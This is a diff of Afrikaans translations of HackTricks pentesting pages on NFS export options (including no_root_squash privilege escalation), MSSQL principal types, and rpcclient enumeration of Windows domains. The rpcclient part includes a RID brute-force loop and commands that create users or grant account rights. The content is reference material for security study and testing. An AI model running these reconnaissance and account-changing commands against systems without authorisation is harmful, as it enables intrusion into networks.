- **Lees- en Skryfregte (`rw`):** Hierdie instelling maak dit moontlik om vanaf en na die lêersisteem te lees en skryf. Dit is noodsaaklik om die implikasies van so 'n breë toegang te oorweeg.
|
||||
- **Lees- en Skryfregte (`rw`):** Hierdie instelling laat beide lees van en skryf na die lêerstelsel toe. Dit is noodsaaklik om die implikasies van die toekenning van so 'n breë toegang in ag te neem.
|
||||
|
||||
- **Gebruik van Onveilige Poorte (`insecure`):** Wanneer dit geaktiveer is, maak dit die stelsel moontlik om poorte bo 1024 te gebruik. Die veiligheid van poorte bo hierdie reeks kan minder streng wees, wat die risiko verhoog.
|
||||
- **Gebruik van Onveilige Poorte (`insecure`):** Wanneer geaktiveer, laat dit die stelsel toe om poorte bo 1024 te gebruik. Die sekuriteit van poorte bo hierdie reeks kan minder streng wees, wat die risiko verhoog.
|
||||
|
||||
- **Sigbaarheid van Geneste Lêersisteme (`nohide`):** Hierdie konfigurasie maak dit moontlik dat gidslyne sigbaar is selfs as 'n ander lêersisteem onder 'n uitgevoerde gidslyn gemonteer is. Elke gidslyn vereis sy eie uitvoerinskrywing vir behoorlike bestuur.
|
||||
- **Sigbaarheid van Geneste Lêerstelsels (`nohide`):** Hierdie konfigurasie maak gidse sigbaar selfs al is 'n ander lêerstelsel onder 'n geëksporteerde gids gemonteer. Elke gids vereis sy eie uitvoerinskrywing vir behoorlike bestuur.
|
||||
|
||||
- **Eienaar van Rooi Lêersisteemlêers (`no_root_squash`):** Met hierdie instelling behou lêers wat deur die rooi gebruiker geskep is, hul oorspronklike UID/GID van 0, sonder om die beginsel van minste bevoegdheid in ag te neem en moontlik oormatige regte toe te ken.
|
||||
- **Eienaarskap van Wortellêers (`no_root_squash`):** Met hierdie instelling behou lêers wat deur die wortelgebruiker geskep is, hul oorspronklike UID/GID van 0, wat die beginsel van die minste voorregte ignoreer en moontlik oortollige regte toeken.
|
||||
|
||||
- **Geen Beperking van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite regoor die stelsel behou word, wat kan lei tot probleme met toestemming en toegangsbeheer as dit nie korrek hanteer word nie.
|
||||
- **Nie-Squashing van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite oor die stelsel bewaar word, wat kan lei tot toestemming en toegangbeheer probleme as dit nie korrek hanteer word nie.
|
||||
|
||||
## Bevoorregte Eskalasie deur gebruik te maak van NFS-misconfiguraties
|
||||
## Voorregverhoging deur NFS misconfigurasies
|
||||
|
||||
[NFS no\_root\_squash en no\_all\_squash bevoorregte eskalasie](../linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md)
|
||||
[NFS no\_root\_squash en no\_all\_squash voorregverhoging](../linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md)
|
||||
|
||||
## HackTricks Outomatiese Opdragte
|
||||
```
|
||||
|
@ -131,14 +124,17 @@ Name: Nmap
|
|||
Description: Nmap with NFS Scripts
|
||||
Command: nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 {IP}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,45 +1,51 @@
|
|||
# Tipes van MSSQL-gebruikers
|
||||
# Tipes van MSSQL Gebruikers
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Tabel geneem van die [**dokumentasie**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16).
|
||||
Tabel geneem uit die [**docs**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16).
|
||||
|
||||
| Kolomnaam | Datatipe | Beskrywing |
|
||||
| ----------------------------------------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **name** | **sysname** | Naam van die beginsel, uniek binne die databasis. |
|
||||
| **principal\_id** | **int** | ID van die beginsel, uniek binne die databasis. |
|
||||
| **type** | **char(1)** | <p>Beginsel tipe:<br><br>A = Toepassingsrol<br><br>C = Gebruiker gekoppel aan 'n sertifikaat<br><br>E = Eksterne gebruiker vanuit Azure Active Directory<br><br>G = Windows-groep<br><br>K = Gebruiker gekoppel aan 'n asimmetriese sleutel<br><br>R = Databasisrol<br><br>S = SQL-gebruiker<br><br>U = Windows-gebruiker<br><br>X = Eksterne groep vanuit Azure Active Directory-groep of toepassings</p> |
|
||||
| **type\_desc** | **nvarchar(60)** | <p>Beskrywing van beginsel tipe.<br><br>APPLICATION_ROLE<br><br>CERTIFICATE_MAPPED_USER<br><br>EXTERNAL_USER<br><br>WINDOWS_GROUP<br><br>ASYMMETRIC_KEY_MAPPED_USER<br><br>DATABASE_ROLE<br><br>SQL_USER<br><br>WINDOWS_USER<br><br>EXTERNAL_GROUPS</p> |
|
||||
| **default\_schema\_name** | **sysname** | Naam wat gebruik moet word wanneer die SQL-naam nie 'n skema spesifiseer nie. Nul vir beginsels wat nie van die tipe S, U of A is nie. |
|
||||
| **create\_date** | **datetime** | Tyd waarop die beginsel geskep is. |
|
||||
| **modify\_date** | **datetime** | Tyd waarop die beginsel laas gewysig is. |
|
||||
| **owning\_principal\_id** | **int** | ID van die beginsel wat hierdie beginsel besit. Alle vaste databasisrolle word standaard besit deur **dbo**. |
|
||||
| **sid** | **varbinary(85)** | SID (Security Identifier) van die beginsel. Nul vir SYS en INFORMATION SCHEMAS. |
|
||||
| **is\_fixed\_role** | **bit** | Indien 1, verteenwoordig hierdie ry 'n inskrywing vir een van die vaste databasisrolle: db\_owner, db\_accessadmin, db\_datareader, db\_datawriter, db\_ddladmin, db\_securityadmin, db\_backupoperator, db\_denydatareader, db\_denydatawriter. |
|
||||
| **authentication\_type** | **int** | <p><strong>Van toepassing op</strong>: SQL Server 2012 (11.x) en later.<br><br>Dui op die tipe outentifikasie. Die volgende is die moontlike waardes en hul beskrywings.<br><br>0 : Geen outentifikasie<br>1 : Instansie-outentifikasie<br>2 : Databasis-outentifikasie<br>3 : Windows-outentifikasie<br>4 : Azure Active Directory-outentifikasie</p> |
|
||||
| **authentication\_type\_desc** | **nvarchar(60)** | <p><strong>Van toepassing op</strong>: SQL Server 2012 (11.x) en later.<br><br>Beskrywing van die outentifikasie tipe. Die volgende is die moontlike waardes en hul beskrywings.<br><br><code>NONE</code> : Geen outentifikasie<br><code>INSTANCE</code> : Instansie-outentifikasie<br><code>DATABASE</code> : Databasis-outentifikasie<br><code>WINDOWS</code> : Windows-outentifikasie<br><code>EXTERNAL</code>: Azure Active Directory-outentifikasie</p> |
|
||||
| **default\_language\_name** | **sysname** | <p><strong>Van toepassing op</strong>: SQL Server 2012 (11.x) en later.<br><br>Dui die verstektaal vir hierdie beginsel aan.</p> |
|
||||
| **default\_language\_lcid** | **int** | <p><strong>Van toepassing op</strong>: SQL Server 2012 (11.x) en later.<br><br>Dui die verstek LCID vir hierdie beginsel aan.</p> |
|
||||
| **allow\_encrypted\_value\_modifications** | **bit** | <p><strong>Van toepassing op</strong>: SQL Server 2016 (13.x) en later, SQL-databasis.<br><br>Onderdruk kriptografiese metadata kontroles op die bediener in massa-kopieerhandelinge. Dit stel die gebruiker in staat om data wat altyd versleutel is, tussen tabelle of databasisse te kopieer sonder om die data te ontsluit. Die verstek is AF.</p> |
|
||||
| Kolom naam | Data tipe | Beskrywing |
|
||||
| ------------------------------------------ | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **naam** | **sysname** | Naam van die hoof, uniek binne die databasis. |
|
||||
| **hoof\_id** | **int** | ID van die hoof, uniek binne die databasis. |
|
||||
| **tipe** | **char(1)** | <p>Hoof tipe:<br><br>A = Toepassing rol<br><br>C = Gebruiker wat aan 'n sertifikaat gekoppel is<br><br>E = Eksterne gebruiker van Azure Active Directory<br><br>G = Windows groep<br><br>K = Gebruiker wat aan 'n asimmetriese sleutel gekoppel is<br><br>R = Databasis rol<br><br>S = SQL gebruiker<br><br>U = Windows gebruiker<br><br>X = Eksterne groep van Azure Active Directory groep of toepassings</p> |
|
||||
| **tipe\_beskrywing** | **nvarchar(60)** | <p>Beskrywing van die hoof tipe.<br><br>APPLICATION_ROLE<br><br>CERTIFICATE_MAPPED_USER<br><br>EXTERNAL_USER<br><br>WINDOWS_GROUP<br><br>ASYMMETRIC_KEY_MAPPED_USER<br><br>DATABASE_ROLE<br><br>SQL_USER<br><br>WINDOWS_USER<br><br>EXTERNAL_GROUPS</p> |
|
||||
| **default\_schema\_naam** | **sysname** | Naam wat gebruik moet word wanneer SQL naam nie 'n schema spesifiseer nie. Null vir hoofde wat nie van tipe S, U, of A is nie. |
|
||||
| **skep\_datum** | **datetime** | Tyd wanneer die hoof geskep is. |
|
||||
| **wysig\_datum** | **datetime** | Tyd wanneer die hoof laas gewysig is. |
|
||||
| **besit\_hoof\_id** | **int** | ID van die hoof wat hierdie hoof besit. Alle vaste Databasis Rolle word standaard deur **dbo** besit. |
|
||||
| **sid** | **varbinary(85)** | SID (Sekuriteitsidentifiseerder) van die hoof. NULL vir SYS en INFORMATIE SKEMAS. |
|
||||
| **is\_vaste\_rol** | **bit** | As 1, verteenwoordig hierdie ry 'n inskrywing vir een van die vaste databasis rolle: db\_owner, db\_accessadmin, db\_datareader, db\_datawriter, db\_ddladmin, db\_securityadmin, db\_backupoperator, db\_denydatareader, db\_denydatawriter. |
|
||||
| **authentisering\_tipe** | **int** | <p><strong>Van toepassing op</strong>: SQL Server 2012 (11.x) en later.<br><br>Gee aan die tipe van authentisering. Die volgende is die moontlike waardes en hul beskrywings.<br><br>0 : Geen authentisering<br>1 : Instansie authentisering<br>2 : Databasis authentisering<br>3 : Windows authentisering<br>4 : Azure Active Directory authentisering</p> |
|
||||
| **authentisering\_tipe\_beskrywing** | **nvarchar(60)** | <p><strong>Van toepassing op</strong>: SQL Server 2012 (11.x) en later.<br><br>Beskrywing van die authentisering tipe. Die volgende is die moontlike waardes en hul beskrywings.<br><br><code>NONE</code> : Geen authentisering<br><code>INSTANCE</code> : Instansie authentisering<br><code>DATABASE</code> : Databasis authentisering<br><code>WINDOWS</code> : Windows authentisering<br><code>EXTERNAL</code>: Azure Active Directory authentisering</p> |
|
||||
| **default\_taal\_naam** | **sysname** | <p><strong>Van toepassing op</strong>: SQL Server 2012 (11.x) en later.<br><br>Gee aan die standaardtaal vir hierdie hoof.</p> |
|
||||
| **default\_taal\_lcid** | **int** | <p><strong>Van toepassing op</strong>: SQL Server 2012 (11.x) en later.<br><br>Gee aan die standaard LCID vir hierdie hoof.</p> |
|
||||
| **toelaat\_versleutelde\_waarde\_wysigings** | **bit** | <p><strong>Van toepassing op</strong>: SQL Server 2016 (13.x) en later, SQL Databasis.<br><br>Suppresses cryptografiese metadata kontroles op die bediener in groot kopie operasies. Dit stel die gebruiker in staat om data wat met Always Encrypted versleuteld is, tussen tabelle of databasisse te kopieer, sonder om die data te ontsleutel. Die standaard is AF.</p> |
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# rpcclient enumerasie
|
||||
# rpcclient opsporing
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslag](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslag](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Probeer Hard Sekuriteitsgroep**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -22,29 +25,29 @@
|
|||
|
||||
### Oorsig van Relatiewe Identifiseerders (RID) en Sekuriteitsidentifiseerders (SID)
|
||||
|
||||
**Relatiewe Identifiseerders (RID)** en **Sekuriteitsidentifiseerders (SID)** is sleutelkomponente in Windows-bedryfstelsels om uniek identifiseer en bestuur van voorwerpe, soos gebruikers en groepe, binne 'n netwerkdomein.
|
||||
**Relatiewe Identifiseerders (RID)** en **Sekuriteitsidentifiseerders (SID)** is sleutelkomponente in Windows-bedryfstelsels vir die unieke identifisering en bestuur van voorwerpe, soos gebruikers en groepe, binne 'n netwerkdomein.
|
||||
|
||||
- **SIDs** dien as unieke identifiseerders vir domeine, wat verseker dat elke domein onderskeibaar is.
|
||||
- **RIDs** word by SIDs gevoeg om unieke identifiseerders vir voorwerpe binne daardie domeine te skep. Hierdie kombinasie maak presiese opvolging en bestuur van voorwerpstoestemmings en toegangsbeheer moontlik.
|
||||
- **RIDs** word aan SIDs geheg om unieke identifiseerders vir voorwerpe binne daardie domeine te skep. Hierdie kombinasie stel presiese opsporing en bestuur van voorwerptoestemmings en toegangbeheer moontlik.
|
||||
|
||||
Byvoorbeeld, 'n gebruiker genaamd `pepe` mag 'n unieke identifiseerder hê wat die domein se SID met sy spesifieke RID kombineer, verteenwoordig in beide heksadesimale (`0x457`) en desimale (`1111`) formate. Dit lei tot 'n volledige en unieke identifiseerder vir pepe binne die domein soos: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
Byvoorbeeld, 'n gebruiker genaamd `pepe` mag 'n unieke identifiseerder hê wat die domein se SID met sy spesifieke RID kombineer, voorgestel in beide heksadesimale (`0x457`) en desimale (`1111`) formate. Dit lei tot 'n volledige en unieke identifiseerder vir pepe binne die domein soos: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
||||
### **Enumerasie met rpcclient**
|
||||
### **Opsporing met rpcclient**
|
||||
|
||||
Die **`rpcclient`** nut van Samba word gebruik om met **RPC-eindpunte deur genoemde pype** te interaksieer. Onderstaande opdragte kan uitgereik word na die SAMR, LSARPC, en LSARPC-DS koppelvlakke nadat 'n **SMB-sessie tot stand gebring is**, dikwels met die nodigheid van geloofsbriewe.
|
||||
Die **`rpcclient`** nut van Samba word gebruik om te kommunikeer met **RPC eindpunte deur benoemde pype**. Hieronder is opdragte wat aan die SAMR, LSARPC, en LSARPC-DS interfaces gegee kan word nadat 'n **SMB sessie gevestig is**, wat dikwels geloofsbriewe vereis.
|
||||
|
||||
#### Bedienerinligting
|
||||
#### Bediener Inligting
|
||||
|
||||
* Om **Bedienerinligting te verkry**: word die `srvinfo`-opdrag gebruik.
|
||||
* Om **Bediener Inligting** te verkry: `srvinfo` opdrag word gebruik.
|
||||
|
||||
#### Enumerasie van Gebruikers
|
||||
#### Opsporing van Gebruikers
|
||||
|
||||
* **Gebruikers kan gelys word** deur: `querydispinfo` en `enumdomusers`.
|
||||
* **Gebruikers kan gelys word** met: `querydispinfo` en `enumdomusers`.
|
||||
* **Besonderhede van 'n gebruiker** deur: `queryuser <0xrid>`.
|
||||
* **Groepe van 'n gebruiker** met: `queryusergroups <0xrid>`.
|
||||
* **'n Gebruiker se SID word opgehaal** deur: `lookupnames <gebruikersnaam>`.
|
||||
* **Aliases van gebruikers** deur: `queryuseraliases [builtin|domain] <sid>`.
|
||||
* **Groepen van 'n gebruiker** met: `queryusergroups <0xrid>`.
|
||||
* **'n Gebruiker se SID word verkry** deur: `lookupnames <username>`.
|
||||
* **Alias van gebruikers** deur: `queryuseraliases [builtin|domain] <sid>`.
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
|
@ -53,68 +56,71 @@ done
|
|||
|
||||
# samrdump.py can also serve this purpose
|
||||
```
|
||||
#### Opsomming van Groepe
|
||||
#### Enumeration of Groups
|
||||
|
||||
* **Groepe** deur: `enumdomgroups`.
|
||||
* **Groep** deur: `enumdomgroups`.
|
||||
* **Besonderhede van 'n groep** met: `querygroup <0xrid>`.
|
||||
* **Lede van 'n groep** deur: `querygroupmem <0xrid>`.
|
||||
|
||||
#### Opsomming van Alias Groepe
|
||||
#### Enumeration of Alias Groups
|
||||
|
||||
* **Alias groepe** deur: `enumalsgroups <builtin|domain>`.
|
||||
* **Lede van 'n alias groep** met: `queryaliasmem builtin|domain <0xrid>`.
|
||||
|
||||
#### Opsomming van Domeine
|
||||
#### Enumeration of Domains
|
||||
|
||||
* **Domeine** deur: `enumdomains`.
|
||||
* **'n Domein se SID word opgehaal** deur: `lsaquery`.
|
||||
* **Domeine** met: `enumdomains`.
|
||||
* **'n Domein se SID word verkry** deur: `lsaquery`.
|
||||
* **Domein inligting word verkry** deur: `querydominfo`.
|
||||
|
||||
#### Opsomming van Aandele
|
||||
#### Enumeration of Shares
|
||||
|
||||
* **Alle beskikbare aandele** deur: `netshareenumall`.
|
||||
* **Inligting oor 'n spesifieke aandeel word opgehaal** met: `netsharegetinfo <aandeel>`.
|
||||
* **Alle beskikbare gedeeltes** deur: `netshareenumall`.
|
||||
* **Inligting oor 'n spesifieke gedeelte word verkry** met: `netsharegetinfo <share>`.
|
||||
|
||||
#### Addisionele Operasies met SIDs
|
||||
#### Additional Operations with SIDs
|
||||
|
||||
* **SIDs op naam** deur: `lookupnames <gebruikersnaam>`.
|
||||
* **SIDs volgens naam** met: `lookupnames <username>`.
|
||||
* **Meer SIDs** deur: `lsaenumsid`.
|
||||
* **RID-siklus om meer SIDs te kontroleer** word uitgevoer deur: `lookupsids <sid>`.
|
||||
* **RID siklusse om meer SIDs te kontroleer** word uitgevoer deur: `lookupsids <sid>`.
|
||||
|
||||
#### **Ekstra bevele**
|
||||
#### **Extra commands**
|
||||
|
||||
| **Bevel** | **Koppelvlak** | **Beskrywing** |
|
||||
| **Opdrag** | **Koppelvlak** | **Beskrywing** |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | Haal gebruiker inligting op |
|
||||
| querygroup | Haal groep inligting op | |
|
||||
| querydominfo | Haal domein inligting op | |
|
||||
| enumdomusers | Enumereer domein gebruikers | |
|
||||
| enumdomgroups | Enumereer domein groepe | |
|
||||
| createdomuser | Skep 'n domein gebruiker | |
|
||||
| deletedomuser | Verwyder 'n domein gebruiker | |
|
||||
| queryuser | SAMR | Verkry gebruikersinligting |
|
||||
| querygroup | Verkry groepinligting | |
|
||||
| querydominfo | Verkry domeininligting | |
|
||||
| enumdomusers | Enumereer domein gebruikers | |
|
||||
| enumdomgroups | Enumereer domein groepe | |
|
||||
| createdomuser | Skep 'n domein gebruiker | |
|
||||
| deletedomuser | Verwyder 'n domein gebruiker | |
|
||||
| lookupnames | LSARPC | Soek gebruikersname na SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) waardes |
|
||||
| lookupsids | Soek SIDs na gebruikersname (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) siklus) | |
|
||||
| lsaaddacctrights | Voeg regte by 'n gebruiker rekening | |
|
||||
| lsaremoveacctrights | Verwyder regte van 'n gebruiker rekening | |
|
||||
| dsroledominfo | LSARPC-DS | Kry primêre domein inligting |
|
||||
| dsenumdomtrusts | Enumereer vertroue domeine binne 'n AD bos | |
|
||||
| lookupsids | Soek SIDs na gebruikersname (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) siklusse) | |
|
||||
| lsaaddacctrights | Voeg regte by 'n gebruikersrekening | |
|
||||
| lsaremoveacctrights | Verwyder regte van 'n gebruikersrekening | |
|
||||
| dsroledominfo | LSARPC-DS | Verkry primêre domeininligting |
|
||||
| dsenumdomtrusts | Enumereer vertroude domeine binne 'n AD woud | |
|
||||
|
||||
Om **beter te verstaan** hoe die gereedskap _**samrdump**_ **en** _**rpcdump**_ werk, moet jy [**Pentesting MSRPC**](../135-pentesting-msrpc.md) lees.
|
||||
To **understand** better how the tools _**samrdump**_ **and** _**rpcdump**_ works you should read [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
**Probeer Hard Security Groep**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
